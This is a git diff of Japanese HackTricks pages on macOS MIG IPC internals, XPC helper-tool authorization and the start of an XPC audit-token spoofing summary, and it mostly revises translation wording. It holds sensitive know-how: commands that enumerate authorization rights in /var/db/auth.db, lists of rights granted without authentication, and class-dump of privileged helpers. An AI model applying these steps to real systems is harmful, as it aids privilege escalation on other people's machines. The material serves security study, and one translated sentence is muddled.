+ ((routine = SERVERPREFmyipc_subsystem.routine[InHeadP->msgh_id - 500].stub_routine) == 0)) {
+ ((mig_reply_error_t *)OutHeadP)->NDR = NDR_record;
((mig_reply_error_t *)OutHeadP)->RetCode = MIG_BAD_ID;
return FALSE;
}
- (*routine) (InHeadP, OutHeadP);
- return TRUE;
+ (*routine) (InHeadP, OutHeadP);
+ return TRUE;
}
-
-
-以前に強調された行をチェックして、IDによって呼び出す関数にアクセスします。
-
-以下は、クライアントがサーバーから関数を呼び出すことができる単純な**サーバー**と**クライアント**を作成するコードです:
-
-{% tabs %}
-{% tab title="myipc_server.c" %}
+```
```c
// gcc myipc_server.c myipcServer.c -o myipc_server
@@ -174,47 +173,7 @@ mach_msg_server(myipc_server, sizeof(union __RequestUnion__SERVERPREFmyipc_subsy
```
{% endtab %}
-{% tab title="myipc_client.c" %}
-
-### macOS IPC Inter-Process Communication
-
-#### macOS MIG - Mach Interface Generator
-
-MIG (Mach Interface Generator) is a tool used to define inter-process communication (IPC) interfaces for Mach-based systems like macOS. It generates client-side and server-side code for IPC communication.
-
-To use MIG, you need to define an interface definition file (.defs) that specifies the messages and data structures exchanged between processes. This file is then processed by MIG to generate the necessary C code for IPC.
-
-MIG simplifies the process of IPC by handling the low-level details of message passing, allowing developers to focus on the higher-level logic of their applications.
-
-By understanding how to use MIG effectively, developers can implement secure and efficient inter-process communication in macOS applications.
-
-```c
-#include
-#include
-
-#include "myipc.h"
-
-int main() {
- mach_port_t server_port;
- kern_return_t kr;
-
- kr = bootstrap_look_up(bootstrap_port, "com.example.myipcserver", &server_port);
- if (kr != KERN_SUCCESS) {
- printf("Failed to look up server port\n");
- return 1;
- }
-
- myipc_hello(server_port);
-
- return 0;
-}
-```
-
-In the example above, `myipc_hello` is a function generated by MIG that sends a message to the server process identified by the `server_port`.
-
-By leveraging MIG for IPC in macOS, developers can enhance the security and reliability of their inter-process communication mechanisms.
-
-{% endtab %}
+{% tab title="myipc_client.c" %}
```c
// gcc myipc_client.c myipcUser.c -o myipc_client
@@ -247,7 +206,7 @@ USERPREFSubtract(port, 40, 2);
```bash
jtool2 -d __DATA.__const myipc_server | grep MIG
```
-前述のように、**受信したメッセージIDに応じて正しい関数を呼び出す関数**は`myipc_server`であることが以前に述べられました。ただし、通常はバイナリのシンボル(関数名なし)を持っていないため、**逆コンパイルしたものを確認するとどのように見えるか**が興味深いです(この関数のコードは公開された関数に独立しています):
+**`myipc_server`** 関数は、受信したメッセージ ID に応じて正しい関数を呼び出す機能を担当することが以前に言及されました。ただし、通常はバイナリのシンボル(関数名なし)を持っていないため、**デコンパイルしたものがどのように見えるかを確認する**ことが興味深いです(この関数のコードは公開された関数に独立しています):
{% tabs %}
{% tab title="myipc_server decompiled 1" %}
@@ -255,28 +214,28 @@ jtool2 -d __DATA.__const myipc_server | grep MIG
var_10 = arg0;
var_18 = arg1;
// 適切な関数ポインタを見つけるための初期命令
-*(int32_t *)var_18 = *(int32_t *)var_10 & 0x1f;
+*(int32_t *)var_18 = *(int32_t *)var_10 & 0x1f;
*(int32_t *)(var_18 + 0x8) = *(int32_t *)(var_10 + 0x8);
*(int32_t *)(var_18 + 0x4) = 0x24;
*(int32_t *)(var_18 + 0xc) = 0x0;
*(int32_t *)(var_18 + 0x14) = *(int32_t *)(var_10 + 0x14) + 0x64;
*(int32_t *)(var_18 + 0x10) = 0x0;
-if (*(int32_t *)(var_10 + 0x14) <= 0x1f4 && *(int32_t *)(var_10 + 0x14) >= 0x1f4) {
+if (*(int32_t *)(var_10 + 0x14) <= 0x1f4 && *(int32_t *)(var_10 + 0x14) >= 0x1f4) {
rax = *(int32_t *)(var_10 + 0x14);
-// この関数を特定するのに役立つsign_extend_64への呼び出し
-// これにより、呼び出す必要のある呼び出しのポインタがraxに格納されます
-// アドレス0x100004040(関数アドレス配列の使用を確認)
-// 0x1f4 = 500(開始ID)
+// この関数を識別するのに役立つ sign_extend_64 の呼び出し
+// これにより、呼び出す必要のある呼び出しのポインタが rax に格納されます
+// アドレス 0x100004040(関数アドレス配列の使用)を確認します
+// 0x1f4 = 500(開始 ID)
rax = *(sign_extend_64(rax - 0x1f4) * 0x28 + 0x100004040);
var_20 = rax;
-// もし-そうでなければ、ifはfalseを返し、elseは正しい関数を呼び出してtrueを返します
+// もし - そうでなければ、if は false を返し、else は正しい関数を呼び出して true を返します
if (rax == 0x0) {
*(var_18 + 0x18) = **_NDR_record;
*(int32_t *)(var_18 + 0x20) = 0xfffffffffffffed1;
var_4 = 0x0;
}
else {
-// 2つの引数を持つ適切な関数を呼び出す計算されたアドレス
+// 2 つの引数を持つ適切な関数を呼び出す計算されたアドレス
(var_20)(var_10, var_18);
var_4 = 0x1;
}
@@ -293,7 +252,7 @@ return rax;
{% endtab %}
{% tab title="myipc_server decompiled 2" %}
-これは異なるHopper無料バージョンで逆コンパイルされた同じ関数です:
+これは、異なる Hopper free バージョンでデコンパイルされた同じ関数です:
int _myipc_server(int arg0, int arg1) {
r31 = r31 - 0x40;
@@ -302,7 +261,7 @@ stack[-8] = r30;
var_10 = arg0;
var_18 = arg1;
// 適切な関数ポインタを見つけるための初期命令
-*(int32_t *)var_18 = *(int32_t *)var_10 & 0x1f | 0x0;
+*(int32_t *)var_18 = *(int32_t *)var_10 & 0x1f | 0x0;
*(int32_t *)(var_18 + 0x8) = *(int32_t *)(var_10 + 0x8);
*(int32_t *)(var_18 + 0x4) = 0x24;
*(int32_t *)(var_18 + 0xc) = 0x0;
@@ -311,34 +270,34 @@ var_18 = arg1;
r8 = *(int32_t *)(var_10 + 0x14);
r8 = r8 - 0x1f4;
if (r8 > 0x0) {
-if (CPU_FLAGS & G) {
+if (CPU_FLAGS & G) {
r8 = 0x1;
}
}
-if ((r8 & 0x1) == 0x0) {
+if ((r8 & 0x1) == 0x0) {
r8 = *(int32_t *)(var_10 + 0x14);
r8 = r8 - 0x1f4;
-if (r8 < 0x0) {
-if (CPU_FLAGS & L) {
+if (r8 < 0x0) {
+if (CPU_FLAGS & L) {
r8 = 0x1;
}
}
-if ((r8 & 0x1) == 0x0) {
+if ((r8 & 0x1) == 0x0) {
r8 = *(int32_t *)(var_10 + 0x14);
-// 0x1f4 = 500(開始ID)
+// 0x1f4 = 500(開始 ID)
r8 = r8 - 0x1f4;
asm { smaddl x8, w8, w9, x10 };
r8 = *(r8 + 0x8);
var_20 = r8;
r8 = r8 - 0x0;
if (r8 != 0x0) {
-if (CPU_FLAGS & NE) {
+if (CPU_FLAGS & NE) {
r8 = 0x1;
}
}
-// 前のバージョンと同じif else
-// アドレス0x100004040(関数アドレス配列の使用を確認)
- if ((r8 & 0x1) == 0x0) {
+// 前のバージョンと同じ if else
+// アドレス 0x100004040(関数アドレス配列の使用)を確認します
+ if ((r8 & 0x1) == 0x0) {
*(var_18 + 0x18) = **0x100004000;
*(int32_t *)(var_18 + 0x20) = 0xfffffed1;
var_4 = 0x0;
@@ -368,12 +327,22 @@ return r0;
{% endtab %}
{% endtabs %}
-実際には、**`0x100004000`**関数に移動すると、**`routine_descriptor`**構造体の配列が見つかります。構造体の最初の要素は**関数が実装されているアドレス**であり、**構造体は0x28バイト**を取るため、0x28バイトごと(バイト0から開始)に8バイトを取得し、それが**呼び出される関数のアドレス**になります:
-
-
+実際には、**`0x100004000`** 関数に移動すると、**`routine_descriptor`** 構造体の配列が見つかります。構造体の最初の要素は、**関数が実装されているアドレス**であり、**構造体は 0x28 バイト**を取るため、0 バイトから始まる 0x28 バイトごとに 8 バイトを取得し、それが**呼び出される関数のアドレス**になります。
-このデータは、[**このHopperスクリプト**](https://github.com/knightsc/hopper/blob/master/scripts/MIG%20Detect.py)を使用して抽出できます。
-* **[**Discordグループ**](https://discord.gg/hRep4RUj7f)**に参加するか、[**telegramグループ**](https://t.me/peass)**に参加するか、**Twitter**で**@carlospolopm**をフォローする🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
+
+
+このデータは、[**この Hopper スクリプト**](https://github.com/knightsc/hopper/blob/master/scripts/MIG%20Detect.py)を使用して抽出できます。
+
+
+
+htARTE(HackTricks AWS Red Team Expert)でゼロからヒーローまでの AWS ハッキングを学びましょう!
+
+HackTricks をサポートする他の方法:
+
+- HackTricks で **会社を宣伝**したり、**HackTricks を PDF でダウンロード**したりするには、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
+- [**公式 PEASS & HackTricks スワッグ**](https://peass.creator-spring.com)を手に入れる
+- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な [**NFT**](https://opensea.io/collection/the-peass-family)コレクションを見つける
+* **[**Discordグループ**](https://discord.gg/hRep4RUj7f)**に参加するか、[**telegramグループ**](https://t.me/peass)**に参加するか、**Twitter**で**@carlospolopm**をフォローしてください🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **ハッキングトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)**のGitHubリポジトリにPRを提出してください。**
diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/macos-xpc-authorization.md b/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/macos-xpc-authorization.md
index cc544fbfc..c018b865f 100644
--- a/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/macos-xpc-authorization.md
+++ b/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/macos-xpc-authorization.md
@@ -1,28 +1,28 @@
-# macOS XPC 認証
+# macOS XPC 認可
-htARTE(HackTricks AWS Red Team Expert) でゼロからヒーローまでAWSハッキングを学ぶ!
+htARTE(HackTricks AWS Red Team Expert) を通じてゼロからヒーローまでAWSハッキングを学ぶ!
HackTricks をサポートする他の方法:
-* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい** 場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
-* [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手する
-* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つける
-* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)** または [telegramグループ](https://t.me/peass) に **参加** するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live) を **フォロー** してください。
-* **ハッキングテクニックを共有するために** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリに PR を提出してください。
+- **HackTricks で企業を宣伝したい**場合や**HackTricks をPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
+- [**公式PEASS&HackTricksスウォッグ**](https://peass.creator-spring.com)を入手する
+- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
+- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)で**フォロー**してください。
+- **ハッキングテクニックを共有する**ために、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。
-## XPC 認証
+## XPC 認可
-Apple は、接続プロセスが **公開されたXPCメソッドを呼び出す権限を持っているかどうかを認証する** 別の方法も提案しています。
+Appleは、接続プロセスが**公開されたXPCメソッドを呼び出す権限を持っているかどうか**を認証する別の方法も提案しています。
-アプリケーションが **特権ユーザーとしてアクションを実行する必要がある** 場合、通常は特権ユーザーとしてアプリを実行する代わりに、アプリからこれらのアクションを実行するために呼び出されることができる XPC サービスとして HelperTool を root としてインストールします。ただし、サービスを呼び出すアプリには十分な認証が必要です。
+アプリケーションが**特権ユーザーとしてアクションを実行する必要がある**場合、通常は特権ユーザーとしてアプリを実行する代わりに、アプリからこれらのアクションを実行するために呼び出すことができるXPCサービスとしてHelperToolをrootとしてインストールします。ただし、サービスを呼び出すアプリには十分な認可が必要です。
-### ShouldAcceptNewConnection は常に YES
+### ShouldAcceptNewConnectionは常にYES
-[EvenBetterAuthorizationSample](https://github.com/brenwell/EvenBetterAuthorizationSample) に例があります。`App/AppDelegate.m` で **HelperTool** に **接続** を試みます。そして `HelperTool/HelperTool.m` では、**`shouldAcceptNewConnection`** 関数は以前に指定された要件をチェックしません。常に YES を返します。
+[EvenBetterAuthorizationSample](https://github.com/brenwell/EvenBetterAuthorizationSample)に例があります。`App/AppDelegate.m`では、**HelperTool**に**接続**しようとします。そして、`HelperTool/HelperTool.m`では、**`shouldAcceptNewConnection`**関数は以前に示された要件をチェックしません。常にYESを返します。
```objectivec
- (BOOL)listener:(NSXPCListener *)listener shouldAcceptNewConnection:(NSXPCConnection *)newConnection
// Called by our XPC listener when a new connection comes in. We configure the connection
@@ -74,7 +74,7 @@ if (self->_authRef) {
[self.window makeKeyAndOrderFront:self];
}
```
-`Common/Common.m` からの `setupAuthorizationRights` 関数は、アプリケーションの権限を auth データベース `/var/db/auth.db` に保存します。データベースにまだ存在しない権限のみを追加する方法に注目してください。
+`Common/Common.m` からの `setupAuthorizationRights` 関数は、アプリケーションの権限を auth データベース `/var/db/auth.db` に保存します。データベースにまだ存在しない権限のみが追加されることに注意してください。
```objectivec
+ (void)setupAuthorizationRights:(AuthorizationRef)authRef
// See comment in header.
@@ -186,13 +186,13 @@ block(authRightName, authRightDefault, authRightDesc);
```
このプロセスの最後には、`commandInfo`内で宣言された権限が`/var/db/auth.db`に保存されます。**各メソッド**ごとに、**認証が必要な**権限名と**`kCommandKeyAuthRightDefault`**が見つかることに注意してください。後者は、**この権限を取得できるユーザー**を示します。
-権限にアクセスできるユーザーを示すために異なるスコープがあります。それらのいくつかは[AuthorizationDB.h](https://github.com/aosm/Security/blob/master/Security/libsecurity\_authorization/lib/AuthorizationDB.h)で定義されています([ここですべて見つけることができます](https://www.dssw.co.uk/reference/authorization-rights/))。要約すると:
+権限にアクセスできるユーザーを示すための異なるスコープがあります。それらのいくつかは[AuthorizationDB.h](https://github.com/aosm/Security/blob/master/Security/libsecurity\_authorization/lib/AuthorizationDB.h)で定義されています([ここですべて見つけることができます](https://www.dssw.co.uk/reference/authorization-rights/))。要約すると:
-名前 値 説明 kAuthorizationRuleClassAllow allow 誰でも kAuthorizationRuleClassDeny deny 誰も kAuthorizationRuleIsAdmin is-admin 現在のユーザーが管理者である必要があります(管理者グループ内) kAuthorizationRuleAuthenticateAsSessionUser authenticate-session-owner ユーザーに認証を求める kAuthorizationRuleAuthenticateAsAdmin authenticate-admin ユーザーに認証を求める。管理者である必要があります(管理者グループ内) kAuthorizationRightRule rule ルールを指定する kAuthorizationComment comment 権限に関する追加コメントを指定する
+名前 値 説明 kAuthorizationRuleClassAllow allow 誰でも kAuthorizationRuleClassDeny deny 誰も kAuthorizationRuleIsAdmin is-admin 現在のユーザーは管理者である必要があります(管理者グループ内) kAuthorizationRuleAuthenticateAsSessionUser authenticate-session-owner ユーザーに認証を要求します。 kAuthorizationRuleAuthenticateAsAdmin authenticate-admin ユーザーに認証を要求します。管理者である必要があります(管理者グループ内) kAuthorizationRightRule rule ルールを指定します kAuthorizationComment comment 権限に関する追加コメントを指定します
### 権限の検証
-`HelperTool/HelperTool.m`の関数**`readLicenseKeyAuthorization`**は、**そのようなメソッドを実行する**権限があるかどうかをチェックします。これは**`checkAuthorization`**関数を呼び出すことで行われます。この関数は、呼び出し元プロセスが送信した**authData**が**正しい形式**であるかどうかをチェックし、その後、特定のメソッドを呼び出す権限を取得するために**何が必要かを確認**します。すべてがうまくいくと、**返される`error`は`nil`になります**。
+`HelperTool/HelperTool.m`内の関数**`readLicenseKeyAuthorization`**は、**そのようなメソッドを実行する**権限があるかどうかをチェックします。これは**`checkAuthorization`**関数を呼び出すことで行います。この関数は、呼び出し元プロセスが送信した**authData**が**正しい形式**であるかどうかをチェックし、その後、特定のメソッドを呼び出すために必要なものをチェックします。すべてがうまくいけば、**返される`error`は`nil`になります**。
```objectivec
- (NSError *)checkAuthorization:(NSData *)authData command:(SEL)command
{
@@ -240,19 +240,19 @@ assert(junk == errAuthorizationSuccess);
return error;
}
```
-注意してください。そのメソッドを呼び出す権限を確認するには、`authorizationRightForCommand` 関数は単に以前にコメントされたオブジェクト `commandInfo` をチェックします。その後、関数を呼び出す権限があるかどうかをチェックするために `AuthorizationCopyRights` を呼び出します(フラグがユーザーとのやり取りを許可することに注意してください)。
+注意してください。そのメソッドを呼び出す権限を取得するための要件を**チェックする**には、関数`authorizationRightForCommand`は単に以前にコメントされたオブジェクト**`commandInfo`**をチェックします。その後、関数を呼び出します**`AuthorizationCopyRights`** その関数を呼び出す権限があるかどうかをチェックするために(フラグがユーザーとのやり取りを許可することに注意してください)。
-この場合、`readLicenseKeyAuthorization` 関数を呼び出すには、`kCommandKeyAuthRightDefault` が `@kAuthorizationRuleClassAllow` に定義されています。そのため、**誰でもそれを呼び出すことができます**。
+この場合、関数`readLicenseKeyAuthorization`を呼び出すために、`kCommandKeyAuthRightDefault`は`@kAuthorizationRuleClassAllow`に定義されています。そのため、**誰でもそれを呼び出すことができます**。
### データベース情報
-この情報は `/var/db/auth.db` に保存されていると言及されています。以下のコマンドで保存されているすべてのルールをリストアップできます:
+この情報は`/var/db/auth.db`に保存されていると言及されています。次のコマンドで保存されているすべてのルールをリストアップできます:
```sql
sudo sqlite3 /var/db/auth.db
SELECT name FROM rules;
SELECT name FROM rules WHERE name LIKE '%safari%';
```
-その後、次のようにして誰が権限にアクセスできるかを確認できます:
+その後、誰がアクセス権を持っているかを確認できます:
```bash
security authorizationdb read com.apple.safaridriver.allow
```
@@ -261,14 +261,16 @@ security authorizationdb read com.apple.safaridriver.allow
**すべての権限構成**は[こちら](https://www.dssw.co.uk/reference/authorization-rights/)で見つけることができますが、ユーザーの操作が必要ない組み合わせは次のとおりです:
1. **'authenticate-user': 'false'**
-* これは最も直接的なキーです。`false`に設定されている場合、ユーザーはこの権利を得るために認証を提供する必要がありません。
-* これは、**以下の2つのいずれかと組み合わせるか、ユーザーが所属するグループを示す**ために使用されます。
+* これは最も直接的なキーです。`false`に設定されている場合、ユーザーはこの権利を得るために認証を提供する必要はありません。
+* これは、**以下のいずれかと組み合わせるか、ユーザーが所属するグループを示す**ために使用されます。
2. **'allow-root': 'true'**
* ユーザーがルートユーザーとして操作しており(昇格された権限を持つ)、かつこのキーが`true`に設定されている場合、ルートユーザーは追加の認証なしでこの権利を取得できる可能性があります。ただし、通常、ルートユーザーの状態に到達するにはすでに認証が必要なので、ほとんどのユーザーにとってこれは「認証なし」のシナリオではありません。
3. **'session-owner': 'true'**
* `true`に設定されている場合、セッションの所有者(現在ログインしているユーザー)は自動的にこの権利を取得します。ユーザーがすでにログインしている場合、追加の認証をバイパスする可能性があります。
4. **'shared': 'true'**
-* このキーは認証なしで権利を付与しません。代わりに、`true`に設定されている場合、権利が認証されると、各プロセスが再認証する必要なく複数のプロセス間で共有できることを意味します。ただし、権利の最初の付与には引き続き認証が必要です(`'authenticate-user': 'false'`などの他のキーと組み合わせていない限り)。
+* このキーは認証なしで権利を付与しません。代わりに、`true`に設定されている場合、権利が認証されると、各プロセスが再認証する必要なく複数のプロセス間で共有できることを意味します。ただし、権利の最初の付与には認証が必要ですが、`'authenticate-user': 'false'`のような他のキーと組み合わせない限り、認証が必要です。
+
+興味深い権利を取得するには、[**このスクリプト**](https://gist.github.com/carlospolop/96ecb9e385a4667b9e40b24e878652f9)を使用できます。
```bash
Rights with 'authenticate-user': 'false':
is-admin (admin), is-admin-nonshared (admin), is-appstore (_appstore), is-developer (_developer), is-lpadmin (_lpadmin), is-root (run as root), is-session-owner (session owner), is-webdeveloper (_webdeveloper), system-identity-write-self (session owner), system-install-iap-software (run as root), system-install-software-iap (run as root)
@@ -279,17 +281,17 @@ com-apple-aosnotification-findmymac-remove, com-apple-diskmanagement-reservekek,
Rights with 'session-owner': 'true':
authenticate-session-owner, authenticate-session-owner-or-admin, authenticate-session-user, com-apple-safari-allow-apple-events-to-run-javascript, com-apple-safari-allow-javascript-in-smart-search-field, com-apple-safari-allow-unsigned-app-extensions, com-apple-safari-install-ephemeral-extensions, com-apple-safari-show-credit-card-numbers, com-apple-safari-show-passwords, com-apple-icloud-passwordreset, com-apple-icloud-passwordreset, is-session-owner, system-identity-write-self, use-login-window-ui
```
-## 認可のリバース
+## 認可のリバースエンジニアリング
### EvenBetterAuthorization の使用を確認する
関数 **`[HelperTool checkAuthorization:command:]`** を見つけた場合、おそらくプロセスは認可のために以前に言及したスキーマを使用しています:
-
+
この関数が `AuthorizationCreateFromExternalForm`、`authorizationRightForCommand`、`AuthorizationCopyRights`、`AuhtorizationFree` などの関数を呼び出している場合、[**EvenBetterAuthorizationSample**](https://github.com/brenwell/EvenBetterAuthorizationSample/blob/e1052a1855d3a5e56db71df5f04e790bfd4389c4/HelperTool/HelperTool.m#L101-L154) を使用しています。
-特権アクションをユーザーの操作なしに呼び出す権限を取得できるかどうかを確認するために、**`/var/db/auth.db`** をチェックしてください。
+特権アクションをユーザーの操作なしに呼び出す権限を取得できるかどうかを確認するために **`/var/db/auth.db`** をチェックしてください。
### プロトコル通信
@@ -297,11 +299,11 @@ authenticate-session-owner, authenticate-session-owner-or-admin, authenticate-se
関数 **`shouldAcceptNewConnection`** はエクスポートされているプロトコルを示しています:
-
+
この場合、EvenBetterAuthorizationSample と同じものがあります、[**この行をチェック**](https://github.com/brenwell/EvenBetterAuthorizationSample/blob/e1052a1855d3a5e56db71df5f04e790bfd4389c4/HelperTool/HelperTool.m#L94)。
-使用されているプロトコルの名前を知ることで、**そのヘッダー定義をダンプ**することが可能です:
+使用されているプロトコルの名前を知ることで、**そのヘッダー定義をダンプ** することが可能です:
```bash
class-dump /Library/PrivilegedHelperTools/com.example.HelperTool
@@ -321,7 +323,7 @@ class-dump /Library/PrivilegedHelperTools/com.example.HelperTool
-* launchd の plist ファイル内:
+* launchd plist 内で:
```xml
cat /Library/LaunchDaemons/com.example.HelperTool.plist
@@ -429,10 +431,10 @@ NSLog(@"Finished!");
HackTricks をサポートする他の方法:
-* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい** 場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
-* [**公式PEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を入手する
-* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つける
-* 💬 [**Discord グループ**](https://discord.gg/hRep4RUj7f) または [**telegram グループ**](https://t.me/peass) に **参加** するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live) を **フォロー** してください。
-* **HackTricks** と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) の GitHub リポジトリに PR を提出して、あなたのハッキングトリックを共有してください。
+* **HackTricks で企業を宣伝したい**または **HackTricks をPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
+* [**公式PEASS&HackTricksスウォッグ**](https://peass.creator-spring.com)を入手する
+* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける
+* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**してください。
+* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出して、あなたのハッキングテクニックを共有してください。
diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/macos-xpc-connecting-process-check/macos-xpc_connection_get_audit_token-attack.md b/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/macos-xpc-connecting-process-check/macos-xpc_connection_get_audit_token-attack.md
index 1d7932be7..3145d66c7 100644
--- a/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/macos-xpc-connecting-process-check/macos-xpc_connection_get_audit_token-attack.md
+++ b/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/macos-xpc-connecting-process-check/macos-xpc_connection_get_audit_token-attack.md
@@ -2,19 +2,19 @@
-htARTE(HackTricks AWS Red Team Expert)を通じてゼロからヒーローまでAWSハッキングを学びましょう!
+htARTE(HackTricks AWS Red Team Expert) でAWSハッキングをゼロからヒーローまで学ぶ!
HackTricks をサポートする他の方法:
-- **HackTricks で企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
-- [**公式PEASS&HackTricksスウォッグ**](https://peass.creator-spring.com)を入手する
-- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションを見つける
-- 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)をフォローする。
-- **ハッキングトリックを共有するために** [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出する。
+* **HackTricks で企業を宣伝したい**または **HackTricks をPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
+* [**公式PEASS&HackTricksスウォッグ**](https://peass.creator-spring.com)を手に入れる
+* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
+* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)をフォローする。
+* **ハッキングテクニックを共有するために** [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出する。
-**詳細については、元の投稿を確認してください:** [**https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/**](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/)。これは要約です:
+**詳細は元の投稿をご確認ください:** [**https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/**](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/)。これは要約です:
## Machメッセージの基本情報
@@ -25,7 +25,7 @@ Machメッセージが何かわからない場合は、このページをチェ
{% endcontent-ref %}
今のところ、([ここからの定義](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing)):\
-Machメッセージは_machポート_を介して送信され、これは**単一の受信者、複数の送信者通信**チャネルで、machカーネルに組み込まれています。**複数のプロセスが** machポートにメッセージを送信できますが、いつでも**単一のプロセスだけが**それから読み取ることができます。ファイルディスクリプタやソケットと同様に、machポートはカーネルによって割り当てられ管理され、プロセスは整数しか見ません。これを使用して、カーネルに使用するmachポートを示すことができます。
+Machメッセージは_machポート_を介して送信され、これは**単一の受信者、複数の送信者通信**チャネルで、machカーネルに組み込まれています。**複数のプロセスがmachポートにメッセージを送信**できますが、いつでも**単一のプロセスだけがそれを読む**ことができます。ファイルディスクリプタやソケットと同様に、machポートはカーネルによって割り当てられ管理され、プロセスは整数しか見ません。これを使用して、カーネルに使用するmachポートを示すことができます。
## XPC接続
@@ -39,53 +39,53 @@ XPC接続がどのように確立されるかわからない場合は、次を
あなたが知っておくべき興味深い点は、**XPCの抽象化は1対1の接続**であるが、**複数の送信者を持つ技術**に基づいているということです:
-- Machポートは単一の受信者、**複数の送信者**です。
-- XPC接続の監査トークンは、**最後に受信したメッセージからコピーされた監査トークン**です。
-- XPC接続の**監査トークンを取得**することは、多くの**セキュリティチェック**にとって重要です。
+* Machポートは単一の受信者、**複数の送信者**です。
+* XPC接続の監査トークンは、**最後に受信したメッセージからコピー**されます。
+* XPC接続の**監査トークン**を取得することは、多くの**セキュリティチェック**にとって重要です。
前述の状況は有望に聞こえますが、問題を引き起こさないシナリオもあります ([ここから](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing)):
-- 監査トークンは、接続を受け入れるかどうかを決定するための認可チェックによく使用されます。これはサービスポートへのメッセージを使用して行われるため、**接続はまだ確立されていません**。このポートへの追加のメッセージは、追加の接続要求として処理されます。したがって、**接続を受け入れる前のチェックは脆弱ではありません**(これは、`-listener:shouldAcceptNewConnection:`内で監査トークンが安全であることを意味します)。したがって、**特定のアクションを検証するXPC接続を探しています**。
-- XPCイベントハンドラは同期的に処理されます。つまり、1つのメッセージのイベントハンドラを呼び出す前に、次のメッセージのイベントハンドラを完了する必要があります。したがって、**XPCイベントハンドラ内では、監査トークンは他の通常の(返信でない!)メッセージによって上書きされることはありません**。
